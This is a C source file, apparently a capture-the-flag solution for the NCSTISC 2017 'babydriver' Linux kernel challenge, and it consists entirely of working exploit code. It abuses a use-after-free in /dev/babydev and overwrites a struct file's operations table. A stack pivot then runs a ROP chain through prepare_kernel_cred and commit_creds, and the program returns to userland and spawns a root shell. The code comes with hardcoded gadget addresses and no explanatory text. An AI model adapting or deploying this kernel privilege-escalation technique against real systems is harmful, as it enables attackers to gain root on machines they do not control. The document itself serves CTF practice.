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NCSTISC CTF 2017 babydriver
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// gcc exploit.c -masm=intel -fno-PIE -nostdlib -no-pie -o exploit | |
#include <stdio.h> | |
#include <fcntl.h> | |
#include <sys/mman.h> | |
size_t read(int fd, void *buf, size_t count); | |
size_t write(int fd, void *buf, size_t count); | |
int open(const char* pathname, int flags, ...); | |
int close(int fd); | |
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset); | |
int mprotect(void *addr, size_t len, int prot); | |
int munmap(void *addr, size_t length); | |
int ioctl(int fd, unsigned long request, ...); | |
int execve(const char *filename, char *const argv[], char *const envp[]); | |
void exit(int status); | |
void *memset(void *s, int c, size_t n); | |
void *memcpy(void *dest, const void *src, size_t n); | |
unsigned long strlen(const char *s); | |
int puts(const char *s); | |
void shell(void); | |
static void save_state(void); | |
static void restore_state(void); | |
struct state { | |
unsigned long rip; | |
unsigned long cs; | |
unsigned long rflags; | |
unsigned long rsp; | |
unsigned long ss; | |
} stat; | |
/* exploit */ | |
struct cred* (*prepare_kernel_cred)(struct task_struct *daemon) = 0xffffffff810a1810; | |
int (*commit_creds)(struct cred *new) = 0xffffffff810a1420; | |
unsigned long stack_pivot = 0xffffffff81038b06; // mov esp, 0x83000000 ; ret | |
unsigned long pop_rdi = 0xffffffff810d238d; // pop rdi ; ret | |
unsigned long mov_rdi_rax_pop2 = 0xffffffff8133b32e; // mov rdi, rax ; mov rax, rdi ; pop rbx ; pop rbp ; ret | |
unsigned long swapgs_pop1 = 0xffffffff81063694; // swapgs ; pop rbp ; ret | |
unsigned long iretq = 0xffffffff8181a797; | |
void _start(void){ | |
int fd[2], pfd[4]; | |
unsigned long file[0x100/sizeof(unsigned long)]; | |
unsigned long file_operations[0x100]; | |
unsigned long *fake_stack; | |
save_state(); | |
stat.rip = shell; | |
if((fd[0] = open("/dev/babydev", O_RDWR)) < 0 || (fd[1] = open("/dev/babydev", O_RDWR)) < 0){ | |
puts("open /dev/babydev failed"); | |
exit(-1); | |
} | |
ioctl(fd[0], 0x10001, 0x100); // sizeof(struct file)) | |
close(fd[1]); | |
for(int i=0; i<sizeof(pfd)/sizeof(int); i++) | |
if((pfd[i] = open("/etc/passwd", O_RDONLY)) < 0){ | |
puts("open /etc/passwd failed"); | |
exit(-1); | |
} | |
if((fake_stack = mmap((void*)(0x83000000 - 0x1000), 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0)) != (void*)(0x83000000 - 0x1000)){ | |
puts("mmap failed"); | |
exit(-2); | |
} | |
fake_stack += 0x1000/sizeof(unsigned long); | |
*(fake_stack++) = pop_rdi; | |
*(fake_stack++) = 0; | |
*(fake_stack++) = prepare_kernel_cred; | |
*(fake_stack++) = mov_rdi_rax_pop2; | |
*(fake_stack++) = 0xdeadbeef; | |
*(fake_stack++) = 0xdeadbeef; | |
*(fake_stack++) = commit_creds; | |
*(fake_stack++) = swapgs_pop1; | |
*(fake_stack++) = 0xdeadbeef; | |
*(fake_stack++) = iretq; | |
memcpy(fake_stack, &stat, sizeof(stat)); | |
read(fd[0], file, 0xff); | |
file_operations[12] = stack_pivot; // ioctl | |
file[5] = &file_operations; | |
write(fd[0], file, 0xff); | |
for(int i=0; i<sizeof(pfd)/sizeof(int); i++){ | |
ioctl(pfd[i], 0xdeabdeef, 0xcafebabe); | |
close(pfd[i]); | |
} | |
} | |
/* funcs */ | |
static void save_state(void) { | |
register long *rsp asm("rsp"); | |
asm( | |
"mov rax, ss\n" | |
"push rax\n" | |
"lea rax, [rsp+0x18]\n" | |
"push rax\n" | |
"pushfq\n" | |
"mov rax, cs\n" | |
"push rax\n" | |
"mov rax, [rbp+8]\n" | |
"push rax\n" | |
); | |
memcpy(&stat, rsp, sizeof(stat)); | |
asm("add rsp, 0x28"); | |
} | |
static void restore_state(void){ | |
register long *rsp asm("rsp"); | |
asm("sub rsp, 0x28"); | |
memcpy(rsp, &stat, sizeof(stat)); | |
asm( | |
"swapgs\n" | |
"iretq" | |
); | |
__builtin_unreachable(); | |
} | |
void *memset(void *s, int c, size_t n){ | |
for(int i=0; i<n; i++) | |
*(char*)(s+i) = (char)c; | |
return s; | |
} | |
void *memcpy(void *dest, const void *src, size_t n){ | |
for(int i=0; i<n; i++) | |
*(char*)(dest+i) = *(char*)(src+i); | |
return dest; | |
} | |
unsigned long strlen(const char *s){ | |
unsigned long i; | |
for(i=0; s[i]; i++); | |
return i; | |
} | |
int puts(const char *s){ | |
int n; | |
n = write(1, (void*)s, strlen(s)); | |
write(1, "\n", 1); | |
return n; | |
} | |
void shell(void){ | |
char *argv[] = {"/bin/sh", NULL}; | |
execve(argv[0], argv, NULL); | |
} | |
asm( | |
"read:\n" | |
"mov rax, 0\n" | |
"syscall\n" | |
"ret\n" | |
"write:\n" | |
"mov rax, 1\n" | |
"syscall\n" | |
"ret\n" | |
"open:\n" | |
"mov rax, 2\n" | |
"syscall\n" | |
"ret\n" | |
"close:\n" | |
"mov rax, 3\n" | |
"syscall\n" | |
"ret\n" | |
"mmap:\n" | |
"mov rax, 9\n" | |
"mov r10, rcx\n" | |
"syscall\n" | |
"ret\n" | |
"mprotect:\n" | |
"mov rax, 10\n" | |
"syscall\n" | |
"ret\n" | |
"munmap:\n" | |
"mov rax, 11\n" | |
"syscall\n" | |
"ret\n" | |
"ioctl:\n" | |
"mov rax, 16\n" | |
"syscall\n" | |
"ret\n" | |
"execve:\n" | |
"mov rax, 59\n" | |
"syscall\n" | |
"ret\n" | |
"exit:\n" | |
"mov rax, 60\n" | |
"syscall\n" | |
); | |
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